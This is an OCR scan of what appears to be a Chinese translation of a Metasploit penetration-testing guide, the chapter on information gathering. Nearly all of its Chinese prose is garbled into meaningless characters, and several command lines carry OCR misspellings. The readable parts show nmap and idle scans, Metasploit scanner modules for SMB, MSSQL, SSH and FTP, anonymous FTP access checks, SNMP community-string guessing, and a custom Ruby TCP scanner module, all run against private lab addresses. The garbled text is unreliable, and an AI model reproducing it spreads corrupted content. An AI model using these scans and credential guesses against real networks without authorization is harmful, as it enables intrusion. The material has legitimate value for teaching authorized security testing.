F H /T A1E, Nmap 28 AFATH 5 D34 T A, ‘&5 Metasploit I8 1H2“BRECEE S,
ZF Metasploit #7, Nmap B35 HH 45 3 0] MR 7E 5 Ui B0 FE b D& S5 Al . Nmap BES LR —
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E3IFE HmE%

REHH KR LV eSS 2N LT i ks, LhENRFATERE TMEAREHIAO.

G, FRAVEH secmaniac.net TAE —3, HRFTHEMMF A PHIAR 1P Kk A
172.16.32.131 ML, FRATHE A SEABRNES: nmap @A EI5H) HArEEHL. FFUB.ZHT, iF
fE/R Back|Track FHLAI M2 TP A nmap 4, BH nmap | HEFEARIBTE.

R L Z R nmap HHEEZHNSEAIED, AdFERZHEN FRIASHEH S8
— /N AT

BATHEAE AT nmap IEINZ —2-sS, FHERMUAT—KEERA) TCP A%, LU E R4 2 /Y
TCP ¥ DV REEHIB 7—PMEFERIE T E-Pn, B2 %5 VF nmap A EEH ping ir-4 756 41 87 341
B, MBS VA RFEERE. XNETUEH T Internet LAZBEMAAEE, KA
1E Internet K Z B LR IIA ST ping fn-2 BT ) “Internet #2BHHR ML (ICMP)” 4T,
RS ER ping AT HIE, AR RESRRFZ LA EM EVL. 1 RIRIE AN M AR E
1iZ4T nmap, WIA] LLZEEHIX AN TR LN #IE RE

ITE LEFRAT 148 H-sS F1-Pn 3£ I706 341 1#9 Windows XP EAIHIHAT — 5 515 nmap 148

root@bt:~# nmap -sS -Pn 172.16.32.131
Nmap scan report for 172.16.32.131
Host is up (0.00057s latency).

Not shown: 990 closed ports

PORT STATE SERVICE

21/tcp  open ftp

25/tcp open smtp

80/tcp open http

135/tcp open msrpc

139/tcp open netbios-ssn

443/tcp open https

445/tcp open microsoft-ds

1025/tcp open NFS-or-I1IIS

1433/tcp open ms-sgl-s

3389/tcp open ms-term-serv

Nmap done: 1 IP address (1 host up) scanned in 14.34 seconds

WARAT WL, nmap £ &GN BOR D RSIER, HHESEN RO S M FHE S8 5% IR % 1+

A THEBRELZER, afLlZ M H-A &0, S8R TEARN RS HERNBFIRE, X
e AR H R R E LAY EE. THEBIMEH-sS fM-A &®IW, 3R E R
HERLER.

root@t:~# nmap -Pn -sS -A 172.16.32.131

Nmap scan report for 172.16.32.131

Host is up (0.0035s latency).

Not shown: 993 closed ports

PORT STATE SERVICE VERSION

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn

445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds
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777/tcp open unknown

1039/tcp open unknown

1138/tcp open msrpc Microsoft Windows RPC

1433/tcp open ms-sql-s Microsoft SOL Server 2005 9.00.1399; RTM

. « SNIP . . .

Device type: general purpose

Running: Microsoft Windows XP|2003

0S details: Microsoft Windows XP Professional SP2 or Windows Server 2003
Network Distance: 1 hop

Service Info: 05: Windows

Host script results:

| nbstat: NetBIOS name: V-MAC-XP, NetBIOS user: <unknown>, NetBIOS MAC:
00:0c:29:¢9:38:4c (VMware)

| smbv2-enabled: Server doesn't support SMBv2 protocol

| smb-os-discovery:

|  0S: Windows XP (Windows 2000 LAN Manager)
| Name: WORKGROUP\V-MAC-XP

3.2.2 7£ Metasploit F{E FB&IER

I AR IE FE BT — T 5 22 2B A THE, A KB EHE, IRABERIE#REL
FTFRHESH., FIEM R, Metasploit 3-4E T 4T L REIRFER 12 2FF, X LHIRE W H B
YRTEAIX L E A T AE.

YRAT LR 4 2 45 (1 B0 B S FrtE ok ik 3% Metasploit £ HI I BHREESER, Metasploit 2 H#F
MySQL. PostgreSQL 1 SQLite3 ¥i#E /i, WAIEA WIS TR PostgreSQL 1EHEIF, &
e Metasploit BRAR

B, FRATME F4ERE Back|Track [ init.d B A3 3h B8 FE T R 48

root@bt~# /etc/init.d/postgresql-8.3 start

PostgreSQL i zhJ5, A1il Metasploit HEARERE FIIX AN EEELH] b EEDIBIEER R
P4, N4, B TERERLR F LA UL SRR B %R % 4 . Back|Track 7 PostgreSQL
BRIAKIFH P2 4 2 postgres, 14 J2 toor, BATTRAEFH msfbook 1E AN EIEFZ . TAAW T ay<FT
555008 e B -

msf » db_connect postgres:toor@127.0.0.1/msfbook

MBESE - IEES msfbook HIEE, RMNSEN—HILKAREE, XEHBET Metasploit
AR LAEBHER. WEARS R, XE&GSSHEIERIE| MSF KRR EF, 55
FF LY. |

Metasploit ${t— R ¥ 47 & b RATRE 5 BEE FE AT A B, WX EaSHTHNEHERY
EBRZEAEY, MEFE-NTEOBIEEHRLFIR, TLIE MSF L5 HIA help REEH
M7E, FA1MEA db_status 672 KB EIEERE L IEHR.

20



HIE HREE

msf > db_status
[*] postgresql connected to msfbook

HilK—VIEH.

1. ¥ Nmap Hith 8945 R S X\ Metasploit

YRS AR R R AT BERRR TAEN, ASERIA AT BEZEA R (i ] Ff i p2 i 743
i, N2 T BWEEEN ABSLZEITH nmap 45 R AR Metasploit HER S, THEHENEF —
B WHTH A nmap 4 BREEA XML R 55 30484 GAt nmap F-0X &4 RL) § A Metasploit .

5%, BRAIXTIXE Windows BRIFLE Fl-oX IEIMBLTHM, £ HR—1N4%H Subnetl xml ]
A

nmap -Pn -sS -A -oX Subneti 192.168.1.0/24

XML ARG, BRATTBEH db_import iy 28 U SABIEIEE S . WETER, Tl
H db_hosts t5 2 ZLEFAME R, db_hosts 2K R R EIEES B CHRFHNENEE, WF
B :

msf > db_connect postgres:toor@127.0.0.1/msf3
mst > db_import Subneti.xml
msf > db_hosts -c address

— e -

192.168.1.1
192.168.1.10
192.168.1.101
192.168.1.102
192.168.1.109
192.168.1.116
192.168.1.142
192.168.1.152
192.168.1.154
192.168.1.171
192,168.1.155
192.168.1.174
192.168.1.180
192.168.1.181
192,168.1.2
192.168.1.99

msf »
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Metasploit i&iE iK1 M

HEAINAT db_hosts iy, REIT A EHLE 1P #uaksiR, XUFBHERNC LRI
nmap i th F A | T Metasploit H.

2. &% Nmap 3##:I5: TCP R1IHE

— PPN E SR nmap 3 5 U TCP WS, XMHA#HRILRINEENE LS —6F
PLEY IP Huhik, 3T HARSEATE N EREEI . T MR, BT EEMNS Lefl -61F
FHEHS IP ks (IPID: R FERER IP BAVIRFR—FEAR) PLEIRZENEN (FRERZE
HLAE — B i 18] A il S AR A0 ) . HBATEEIEFRE G EHUSE, ER IP WiFxiRR T
AT e, R4 DR HE T A 1P iipsaiR. YEMNERXEZ W TN 1P
bt Hbs EALREA I LTSGR W EPLSEPR R 1P fiids S T AR K 1P i
PRURAEWTRS, A B i D AT RE R TR . CInSRAR T 85 £ o0 T B ER A DL K TP Wikr
WEME B, s LU in) hup://www.metasploit.com/modules/auxiliary/ scanner/ip/ipidseq/. )

n] LA{# FH Metasploit HESE K scanner/ip/ipidseq ¥R, KT KAWL TCP AR E KK
ZWREHL, WF AR

mst > use auxiliary/scanner/ip/ipidseq
msf auxiliary(ipidseq) > show options

Module options:

Name Current Setting Required Description
GWHOST no The gateway IP address
INTERFACE no The name of the interface
LHOST no The local IP address
©  RHOSTS yes The target address range or CIDR identifier
RPORT 80 yes The target port
SNAPLEN 65535 yes The number of bytes to capture
®  THREADS 1 yes The number of concurrent threads
TIMEQUT 500 yes The reply read timeout in milliseconds

EANFNRER T AT ipidseq AT /TR TFSE . ot RHOST 250317, k2
¥l LLfE ] TP bk EY (4n 192.168.1.20-192.168.1.30) . CIDR (SR R ERE) Hubkd (4o
192.168.1.0/24) . {#iFiES54rFEH £/ CIDR Huibkik (41 192.168.1.0/24, 192.168.3.0/24) , LA
FARATAEE A 1P Hht @) 1P FUR LA (0 file:/tmp/hostlist.txt) o XEEHEIRLEBRAILE R E
58 B 0T R 1IR K RIS

7E THREAD 28O i@ A LR . I MERERIEALEECY 1. s E{En
UM B, MRS BEvT LA D Mg BRI E. MoK, 7£ Windows ‘B & LiE4T
Metasploit. ZFEEBIFAERIT 16, K UNIX FEEITAE R 128.
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BAERNTREFSHEHFRATHRER. RIS RHOST SH W E N 192.168.1.0124, KLk
BECGRE R 50, R/FETHHM.

msf auxiliary(ipidseq) > set RHOSTS 192.168.1.0/24
RHOSTS =» 192.168.1.0/24

msf auxiliary(ipidseq) > set THREADS 50

THREADS => 50

msf auxiliary(ipidseq) > run

[*] 192.168.1.1's IPID sequence class: All zeros
[*] 192.168.1.10's IPID sequence class: Incremental!
[*] Scanned 030 of 256 hosts (011% complete)
[*] 192.168.1.116"'s IPID sequence class: All zeros

® [*] 192.168.1.109's IPID sequence class: Incremental!
[*] Scanned 128 of 256 hosts (050% complete)
[*] 192.168.1.154"s IPID sequence class: Incremental!
[*] 192.168.1.155"'s IPID sequence class: Incremental!
[*] Scanned 155 of 256 hosts (060% complete)
[*] 192.168.1.180's IPID sequence class: All zeros
[*] 192.168.1.181"'s IPID sequence class: Incremental!
[*] 192.168.1.185's IPID sequence class: All zeros
[*] 192.168.1.184's IPID sequence class: Randomized
[*] Scanned 232 of 256 hosts (090% complete)
[*] Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(ipidseq) »

I RS BT, BRINEAEZNZRENTHTFZHEAA. BIOZEAE nmap
v F-s1 LTS 2 O P ARALA 192.168.1.109 46 2 R EHL0 Hbx EHTHRH.

msf auxiliary(ipidseq) > nmap -PN -sI 192.168.1.109 192.168.1.155
[*] exec: nmap -PN -sI 192.168.1.109 192.168.1.155

Idle scan using zombie 192.168.1.109 (192.168.1.109:80); Class: Incremental
Interesting ports on 192.168.1.155:

Not shown: 996 closed|filtered ports

PORT STATE SERVICE

135/tcp open msrpc

139/tcp open netbios-ssn

445/tcp open microsoft-ds

MAC Address: 00:0C:29:E4:59:7C (VMware) -

Nmap done: 1 IP address (1 host up) scanned in 7.12 seconds

mst auxiliary(ipidseq) »

AR, BATATCAAH B 5 1P bk B AR ENUREEFTBER, MRS B irE
HL_EFF ISR 3w O E B
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3. £ MSF £ixHiE{T Nmap

MARNSLERE TR E G R ERETS, T ik IH nmap Al Metasploit 45 6K
. B IRA T EE RS msfbook BYEFE

msf > db_connect postgres:toor@127.0.0.1/msf3

RCTHIE B BB FE S a] LI db_nmap fr%, XA A GE A MSF &35 IZ1T nmap,
H &4 nmap 45 RIFAEERIRE L.

Ban: AP RMALE—NEN, 2R24RTAER CIDR 7R MR AFLIEE Z2 A
[P Hoht (#)4o: 192.168.1.1/24 2, 192.168.1.1-254 ).

msf > db_nmap -sS -A 172.16.32.131

Warning: Traceroute does not support idle or connect scan, disabling...
Nmap scan report for 172.16.32.131

Host is up (0.00056s latency).

Not shown: 990 closed ports

PORT STATE SERVICE VERSION

21/tcp @open ftp Microsoft ftpd

25/tcp open smtp Microsoft ESMIP 6.0.2600.2180 @
80/tcp open http Microsoft IIS webserver 5.1

| html-title:

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn

443/tcp open https?

445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds
1025/tcp open msxpc Microsoft Windows RPC

1433/tcp open ms-sql-s Microsott SQL Server 2005 9.00.1399; RTM
3389/tcp open microsoft-rdp Microsoft Terminal Service

MAC Address: 00:0C:29:EA:26:7C (VWMware)

Device type: general purpose

Running: Microsoft Windows XP|2003 ©

0S details: Microsoft Windows XP Professional SP2 or Windows Server 2003
Network Distance: 1 hop

Service Info: Host: ihazsecurity; 05: Windows

Host script results:
|_nbstat: NetBIOS name: IHAZSECURITY, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:ea:26:7c

| smb-os-discovery:

| 0S: Windows XP (Windows 2000 LAN Manager)

| Name: WORKGROUP\IHAZSECURITY

| _smbv2-enabled: Server doesn't support SMBv2 protocol

05 and Service detection performed. Please report any incorrect results at http://rmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 33.51 seconds

BANERRHBEGRTPEET —RIVDTBENE OO, BARAO. HEEN HIRERS
REHKIHENO .
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[ AT db_services fy & R A H MIEEFFI LT A4 LiziTI&HHRE R

msf > db_services
Services

host port proto name state info

172.16.32.131 135 tcp  msrpc open Microsoft Windows RPC

172.16.32.131 139 tcp  netbios-ssn open

172.16.32.131 445 tcp microsoft-ds open  Microsoft Windows XP microsoft-ds
172.16,32.131 777 tcp  unknown open

172.16.32.131 1433 tcp ms-sql-s open  Microsoft SQL Server 2005 9.00.1399; RTM

FREMCLMEN T HARM KB HE, HPaan/EAB a b ion 0.

3.2.3 {#H Metasploit i#{Ti% 033

£ Metasploit P A AERS A58 =704 a%, MAEHBEERP S T LN E R R
HiEafds. XENRMERHEEREZ HYS Metasploit HERHHT T RS, EHBEHITEER G
JARERFGNT . GEREAETS, BRIV SE AR IX LN 321457885 S BE/ A R EHL,
RINA MR V5 REE AT By, XAERE R PRl R o R By, e RA 16 R A
P28 A ER B RA I 0L, A B S Bk i B R A G BA I H f .

HBIR G, BBRIEE T —& A TP ka2 a R Mg bk # ¥ (NAT) MEHl. X&6E
PUEER JCi% M Internet BHERE AT 1P Hhhl . 1 R YR ERESS{# ] Metasploit X7 T NAT J&
A EPEIT B, ABAVRAT LR B e EHLE LB, iR 8 X 2 M4 35 &
Pl L

A LU AT R a2 B F Metasploit fEAR R ERIR D HAH T A,

msf > search portscan

T HEATE ] Metasploit i) SYN ¥ D H#E 80T A EHLBT — IR BT R HEH. EEmA
use scanner/portscan/syn, RS E RHOST Z# 192.168.1.155, i ELXEL N 50, &5
PATHEIH .

msf > use scanner/portscan/syn

msf auxiliary(syn) > set RHOSTS 192.168.1.155
RHOSTS =» 192.168.1.155

msf auxiliary(syn) > set THREADS 50

THREADS => 50
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msf auxiliary(syn) > run

©® [*] TCP OPEN 192,168.1.155:135
[*] TCP OPEN 192.168.1.155:139
[*¥] TCP OPEN 192.168.1.155:445
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(syn) >

MRk EEE 2, F41F) F Metasploit # portscan/syn BLRAE 1P Hiak Ry 192.168.1.155
FIENLERBLT 135, 139 f1 445 5 2 BH) .

3.3 s EadE

EBEIR CED, AL I IREMERTEE] — L2 H T, KRN AZ A X%
R RE . SExHPEEI R R TR TR B AR 4 A ZE I © &0 m] A O i R AR B AN IR EUS |14
ERERL. RS, WAL ARCESM. 2R, 15 HRMS PSR F/E MS08-067
RIAR EHR IR YRAIES, B MS08-067 (J38R) £ — B AER Z2RH, H HAew
iEARIB P E 73 SYSTEM HIif AR, AR HBIMNETAaRAEHEIGERLRE.

3.3.1 BRSF={HB RN
Metasploit 7] LAF B 'E BY smb_version ¥R [ — /P45 , H-ARHY Windows REGLFIMA T .

B R EBN &R (SMB: —ANEA AR FH) Rk, ALk
k4 ik 2 AT, WA AT - T RAARNG TR, REZTEX T hliin e —L X
$29R%, A B G TR s — A R R ATHEHE

THRMNPATIXMELR, 5S4, X RHOSTS SH{E#IT IR, KRG HTH:

msf > use scanner/smb/smb_version
msf auxiliary(smb version) > show options

Module options:

Name Current Setting Required Description
RHOSTS yes The target address range or CIDR identifier
THREADS 1 yes The number of concurrent threads

msf auxiliary(smb_version) > set RHOSTS 192.168.1.155
RHOSTS =» 192.168.1.155
msf auxiliary(smb_version) > run

© [*] 192.168.1.155 is running Windows XP Service Pack 2 (language: English)
(name :DOOKIE-FA154354) (domain:WORKGROUP)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
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H3IFT MWHEE

WMARAT WL, 7E@4L smb_version #5143 HEA Hb K| T HH B bRER1E RS2 Windows XP, H %8
I Service Pack 2 %8 T o RAMGHIRRATERFH T — 6 0L, ALl T 3RIAK LT (THREAD)
S8 1. WRREXN A KBTI, Gl C K 1P #uht B, WTLLEEH set THREAD
LEEEH WINFAHERTE RO BUR DU R R . 9 45 BB (R AT E Metasploit %5038 B o LIE JS
BAEM, WTUAER db_hosts dr & A FBIEFHRFMLE R,

msf auxiliary(smb version) > db_hosts -c address,os flavor

Hosts
address os_flavor Svcs Vulns Workspace
192.168.1.155 Windows XP 3 0 default

msf auxiliary(smb version) »

BANHARGAT KRBT RER I T —ANEBITH Windows XP BERLR TN M4iBEN
B LA e B8 S i AT K5 N 5 B A I %, IR PR B 2240 b s A KU = WL i

3.3.2 #IEE T LA Microsoft SQL Server

ACE A 21 Microsoft SQL Server (MS SQL) ## RBEA BMHREHE—NET. LBk L,
HEARRAEHERESAFEEMBNIN TR L%3E MS SQL IRE 8%, BATLEEIHR
ftb % A (1 Microsoft Visual Studio) ZHIERA&MS AR ERS 1. fEiXukigEm
T30 MS SQL RS 88 8K 410 % B P U &b, IR/ 2283 THF, EEM KBTI E.

MS SQL =¥)5, EBRIAMNTEE TCP 4 1 1433 L eR{F FIBENLEYZNA TCP 3% 10 .t 70 B
FLE) TCP 3 1 _E#E4T MS SQL Wiy, HFEER LM UDP 3 11 1434 $H4TEHW), EEEIRBUXA
BEVLA TCP ¥iw 5. 4%, Metasploit H —/MEHh mssql_ping 7] LLH Bh AR SKASGX (5 .

1T mssql_ping £/ UDP B, ZEXF KXHUBEE F M B TR S HEE T SR8, X
AHEACH R F 8. (HRE—AREMF, REELEECH 255 ¥k AR mEE. X
Metasploit &5 MS SQL AR 2 (B %, & 2K BT A RESE TR BUAY 3¢ T AR 45 2810015 B 2B B %,
Hp RN EERATREM IR 28 MU H TCP 3O 5.

AP T 1/ mssql_ping KI¥ANEHE, BFEEZBFPMER. 5|HERS . &ESHL
MG R B

msf > use scanner/mssql/mssql_ping
msf auxiliary(mssql_ping) > show options

Module options:

Name Current Setting Required Description
PASSWORD no The password for the specified username
RHOSTS yes The target address range or CIDR identifier
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THREADS 1 yes The number of concurrent threads
USERNAME  sa no The username to authenticate as
WORKSPACE no The name of the workspace to report data into

msf auxiliary(mssql ping) > set RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24

msf auxiliary(mssql ping) > set THREADS 255

THREADS =» 255

msf auxiliary(mssgql ping) > run

Q@ [*] SQL Server information for 192.168.1.155:
[*]  ServerName = V-XPSP2-BARE

e [*] InstanceName = SQLEXPRESS
[*] IsClustered = No

® [*] Version = 10.0.1600.22

O [*] tep = 1433

WARET W, FARERAUEN T MSSQL RS 25t @, 'EiLHiE T MSSQL #1440, RS
LR A SO ARG Z VK TCP O, ffRlEE—T, &£ MAREIMTFHPEE
R MSSQL #Y W Wy 3 11, A B X Fd 7 2 19 @ B He AR B nmap & EHLRI BT A 3 QAT R E R
%,

3.3.3 SSH BR%E#[FHE

R AR P — 2 EHLIEITH SSH (4 ShelD), A% 2%t SSH AR A HEAT 5.
SSH & —F e A fthil, (AiX B Z A 0IEBEAME NS, RE SSH A SCHLARA b 344 R
THZAEFR. FEANRKERLBE —GRECENTRFOZNE, XMHEEHHFRA
B S ZEURIOSk L. AT LA# ] Metasploit HEZEFK) ssh_version BEERSR RS B b7 M55 28 EIZATHY
SSH hi 4.

msf > use scanner/ssh/ssh_version

msf auxiliary(ssh version) > set THREADS 50
THREADS => 50

msf auxiliary(ssh version) > run

[*] 192.168.1.1:22, SSH server version: SSH-2,0-dropbear 0.52

[*] Scanned 044 of 256 hosts (017% complete)

[*] 192.168.1.101:22, SSH server version: SSH-2.0-OpenSSH 5.1p1 Debian-3ubuntul
[*] Scanned 100 of 256 hosts (039% complete)

[*] 192.168.1.153:22, SSH server version: SSH-2.0-OpenSSH_4.3p2 Debian-8ubuntui
[*] 192.168.1.185:22, SSH server version: SSH-2.0-OpenSSH_ 4.3

XA R E VRN, —EAFRSG SF#2E T AR T FHARA. WRIREEL S
—/NRFERRUAH) OpenSSH k95727, AXEEH] ssh_version F 2 1) 45 R el gEXT RAE W
-
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3.34 FTP 3%
FTP R —FEZe H S 22 B E MY . FTP IR 2225 Bt A —/ H % M 48 B (B £
. BB TS, REEN % BiRR% HIETH FTP RE 2T, (RBIAA 5.

T EIFRATME H] Metasploit HEZE K] fip version BHRXTEATIF Windows XP HEFIYLAY FTP AR 5%
BEATFAHY

msf > use scannexr/ftp/ftp_version
mst auxiliary(ftp version) > show options

Module options:

Name Current Setting Required Description

FTPPASS mozilla@example.com no The password for the specified username
FTPUSER anonymous no The username to authenticate as

RHOSTS yes The target address range or CIDR identifier
RPORT 21 yes The target port

THREADS 1 yes The number of concurrent threads

WORKSPACE no The name of the workspace to report data into

msf auxiliary(ftp version) > set RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24
msf auxiliary(ftp_version) > set THREADS 255

THREADS => 255
msf auxiliary(ftp version) > run

© [*] 192.168.1.155:21 FTP Banner: Minftpd ready

FHAR T IR A FTP RS 250 . BRZERRAT1M#E FH Metasploit #E4E[¥) scanner/fip/anonymous
BRI E - TXE FTP RFHETARFE LA EX:

mst > use auxiliary/scanner/ftp/anonymous

msf auxiliary(anonymous) > set RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24

msf auxiliary(anonymous) > set THREADS 50

THREADS => 50

msf auxiliary(anonymous) > run

| [*] Scanned 045 of 256 hosts (017% complete)
©® [*] 192.168.1.155:21 Anonymous READ/WRITE (220 Minftpd ready)

ARMBINE B ROXEREB/AFELHAER, MEAELHAP BGENEMBR, #a
Y, RAIT TR FTP REAA TRV R, 7T LA AR SCAFER T 8 FTP BR 55 88 1 3%
FHIFA X
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3.3.5 FEMEHNEE

E B R (SNMP) EH A TR RE S, FARREFRAHE, mRELLEAME
B. R, —HBERSEHRASE SNMP REHREM4, FTEARRBUEEM CPU FHE. ZHA
UL R KA RGER AR B

SNMP A4 RGEH RV HFEZ L, AEHRTEEMNLENEY . TURHE SNMP
IR BB MBATIFERZEHUZHELR, EESRBOREVOTELA. i, WRIRGERS
| BLA A5/ SR Cisco ¥ H1 8% SNMP FA-FRF &, (En] LIPS S aACE, Xt
TEH, HEettEBEHEP.

Metasploit HEZE & — AN BRI BMEIR scanner/snmp/snmp_enum, €& SNMP {44
HITRIEH. AR ERE, MREBRIEE (RO) Bi/S (RW) SR HAEFR
B, BRAREFIRIGEREEEEM. BT Windows BIERZGH &Y, WARAHE S
SNMP, ¥ A LM#H RO B RW BRI H AR &, REEHARKANT 0. EBTRRS. H
Ji4 . FREREATRE. BEUEREER, XEGERYN TEBEN R TIEFEEFMHE. (FEFRF
FEA FERTFEHREAFEEREARERESHHATHIAL )

W ARG, SNMP GRIEFRTERRA) 7] BL e VR 8 250 B A AR T 3
AR IBAR NG B HEREAN REH K. SNMP vI #l v2 RAE[H ZEGRE, SNMP v3
RN T N ThAEFFRUE T FAT R A HLE], MR T Zat. A TRIUEE — ST HRILHIBUR,
YA EERBT K SNMP H&FEfFH . FH Metasploit #2381 i scanner/snmp/snmp_login 5
B, FRATLLZSRART AN IP 8i—BL IP i Z IR % SNMP AR 8.

msf > use use scanner/snmp/snmp_login

msf auxiliary(snmp_login) > set RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24

msf auxiliary(snmp login) > set THREADS 50

THREADS => 50

msf auxiliary(snmp_login) > run

[*] »> progress (192.168.1.0-192.168.1.255) 0/30208...

[*] 192.168.1.2 "public’ 'GSM7224 L2 Managed Gigabit Switch’
[*] 192.168.1.2 'private' 'GSM7224 L2 Managed Gigabit Switch’
[*] Auxiliary module execution completed

msf auxiliary(smmp_login) >

ST R GSM7224 FHEZE Google FHTIRERMRBRMKRI, AMBOERAT — 6
Netgear A2 #4124 Fl O FIALTT O ) SNMP FMAF T & . A RIREEHIME, EHMERFENET
R R, PGP KRZHRIBIBER T H HERARE.
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ERKBE VR AHEY, FREBRIF LRSS AR H S EHRER, EATE RS
EH R IUER RS A R MR, mAAXENIREGARRERITES. 53— MRKAFEA
F Y AR AMOAC B 1B & RESE L Internet V5|, XAMFR SR LEAERK

3.4 H/EBECHIFTIHE

fE Metasploit gk /DR 261 A 4F 8 b AR S5 B3 itiis . AL EBKERE, Metasploit
HERPAMRETE T B NAMEIr AL, 32 X338 ol A Metasploit HE42H 4
HBEIGHRMTE, ERLAR TARERSB LR, ZT2EHTZE (SSL) H. ME4E
AR GIE R E T ELEHE LEPRE A XHEmEdEEEH, It RS M
SEN HIRRG EH— 188 Q42 E RITA T RS K B e .

Metasploi HEZE K f) 434 B A AL HE B FF mixin GERAZE), WHF TCP. SMB HiBE I
iy mixin, PARHRLTE Metasploit HEZE 14 Bh 39 mixin. Mixin & AR e X ok HoR i
ISR . Auxiliary::Scanner mixin E# T Auxiliary 3250 run ik, FEITHA] L{#EH
run_host (IP). run_range (HBHEYEEE), BX run batch (IP FIFIC4F) ARG i, KRG/
IP kAT AL #E . AT AR A Auxiliary::Scanner i B #41 [¥] Metasploit N B IhfE. ©

R AME LR TCP F14i28 A7 Ruby B, EBRUER IR EVLA 12345 350, &
#Ja, &IiX “HELLO SERVER” “Fffii, WERIIRFIFHIMIN S5, #ARS528 M R i B R 55 8% 1P
Huhk— 5% H 2 5F 4 L

iMetasploit
require 'msf/core’
class Metasploit3 < Msf::Auxiliary
@include Msf::Exploit::Remote::Tcp
®include Msf::Auxiliary::Scanner
def initialize

super (
"Name ' => 'My custom TCP scan',
'Version’ => '$Revision: 1 §',
'Description’ => "My quick scanner’,
'Author’ => 'Your name here’,
"License’ => MSF_LICENSE

)

register options(

[
©0pt::RPORT(12345)
], self.class)
end

@ #F4E; Minix (GRAE) ATt L4415 2 P eiiAd, ©ARIRE— B4 F 2 A fodliak AR
RTEARERNNE, HIAELBQR AR, A—A mixin £BRFIE—FHFHALE X, midf
ke —Ehit, —AETUANMN—AHFZ2 /N mixinifiid 3 FUHARREFCH S HLb6E.
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def run_host(ip)
connect()
©sock.puts('HELLO SERVER')
data = sock.recv(1024)
©print status(“Received: #{data} from #{ip}")
disconnect()
end
end

X A 6 PA Y 1 HE 32 {F H] Msf:Exploit::Remote::Tep mixin® 4 3 TCP & {5, 1 H
Msf:: Auxiliary::Scanner mixin @4k &£ 38 7 i (0 & AN S EUGBAT H ik . XA EIA KT
OBERE N 123450, —EERTIRS S, EEE -MHEO, EEEPR ARG HEHIWR S,
S5 el 7 3 B\ PR 2 N Bl 95 4% b ik — [ LH B B L@ |

BATIHUX B E E X AR TEZE module/auxiliary/scanner/S12 T, % M simple_tcp.rb. 7
Metasploit 11, HMBEFEFHOMEFHEE. ¥HARE, MREXIPRRRFET
modules/auxiliary/scanner/http/32F , ‘CHALERRSR T K B/RN scanner/http/simple_tcp, 1M
AH L scanner/simple tcp.

3 T AHX AR B AR R SGEAT IR, AV netcat 7E¥R 1 12345 BEATHAWY, JFiERIEIE
SN — AN SCA A B RLIR 55 45 RO IR DY

root@bt:/# echo "Hello Metasploit” > banner.txt
root@bt:/# nc -lvnp 12345 < banner.ixt
listening on [any] 12345...

B R, RAIES) MSF 235, JHRAIRIRIGIE SR MRS, BRGSH, BIFIEMH
CRBRE LEEH.

msf > use auxiliary/scanner/simple_tcp
msf auxiliary(simple tcp) > show options

Module options:

Name Current Setting Required Description

RHOSTS yes The target address range or CIDR identifier
RPORT 12345 yes The target port

THREADS 1 yes The number of concurrent threads

msf auxiliary(simple tcp) > set RHOSTS 192.168.1.101
RHOSTS => 192.168.1.101
msf auxiliary(simple tcp) > run

[*] Received: Hello Metasploit from 192.168.1.101
[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

msf auxiliary(simple_tcp) >
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BIRZXARANFRHE 7, BAPTLAEN, MIRESEN SRS T ER S —
CABE R ARG RIIN%, Metasploit HESE B 0L ) 2 Fp Dh GEXT VR 1R K RO #E B o fH X A ) B2 1)
BlFREM IR Metasploit FEACRIBRBRALACHSH) SR KB S AL, PR7EZERAH 3 A L MAE
(] SR AR BT Lo B4R RY .

3.5 /&g

AFHARE S T WA ] Metasploit HEARBEATIHMRIEIR, XET7E7E PTES brMEh 7RG #
#. RREETHEFTENRELR, FENBBEHBALZNEBERATHREANTH, FEEYH
ERAER B H bR, SRS E IR A FE R E N m R k. 2,
JXA B BRI T BE ST RV R BABARHIISE H AR MBS X TR R S . AERI CHERHE
LEHERR . AERK . B SR RHE THEFWMAEHETH, WHIEEN HirELn—.

A 4 E, BATRHGEEEBREENRN S - PMEELR. WHSH B P Azl
Wt RN, RAPRERAR AT A CREE BB Meterpreter 4.
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.
i 13 T

IR 3R — AR AT RN FERE. WL ANAKA S IEMEKN L 255
MM, eilld MEEx BARREHTERN, W HIRRERXESE, Il RBEEES AW
FFFAEPEREATULAC, REMFASH B s R % LA ER K EHI

R RE MR EDREARRE, FEeEAT TR MERNEEEEE LA AR
R7o ST 338 W] DL X L83 N B 1R 2 B AR RN “1880”, FUME RIERZR A, &
FHEHA T ZBEFEH. WFAPHSZ LT LER - Tt EXERERBIZERE L,
P2 IR R L BN RAERZITRRS, FARENEECERE T TEF. R
RS RBEAHSRERRE, NRE LLRURIAPZLTRBETHIR, XEMREXT T ML
B N2 ENAE EEK.
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i AR #MARE T STEMS L E KRR, ARSI KIS EN T
YRR IR, BN EF RS . R, mRERFAEENE T AT E R,
FIFA G148 200 B ARROAN TR S R AN, BRI T T AR AR AT,

LWHREHAsIERF AN, REAKFLE2ENRTIERETRAEZNTRL —.
- EM KRR RO E P S RAEFEEMMERN . AT, AT — BRI
BIFiTie, HERWFEEENS Metasploit &8 EKMA, RN IGRE LA 2 Metasploit
HE B2 b AE NS LAY 1L A2 d 10 43 4 O A D AL B

4.1 EAXYRIEAEAR

EIRATIE — T BT A (g 3 T 2 1 el 34T 181 BRAT 148 B neteat SRIRHL H #K 192.168.1.203
bR . HEARIEEUR SRR — N MRS, FHEBUZRS MR RIPR R (BEbR). S M
BIRS, bl Web. SCHFERILL R OB, — HEBFEANIM RS W LR R e &R EE
A, WAL bR, X HE, BIVEREE—/MEITTE TCP 31 80 £ Web R4, HE
H—4~ GET HTTP 15K, ibBATE B IZIER 350 N iF KK Br & FIF) HTTP k&S24
ERIEEPC W

root@bt:/opt/framework3/msf3# nc 192.168.1.203 80
GET HTTP 1/1
HTTP/1.1 400 Bad Request

© Server: Microsoft-IIS/5.1

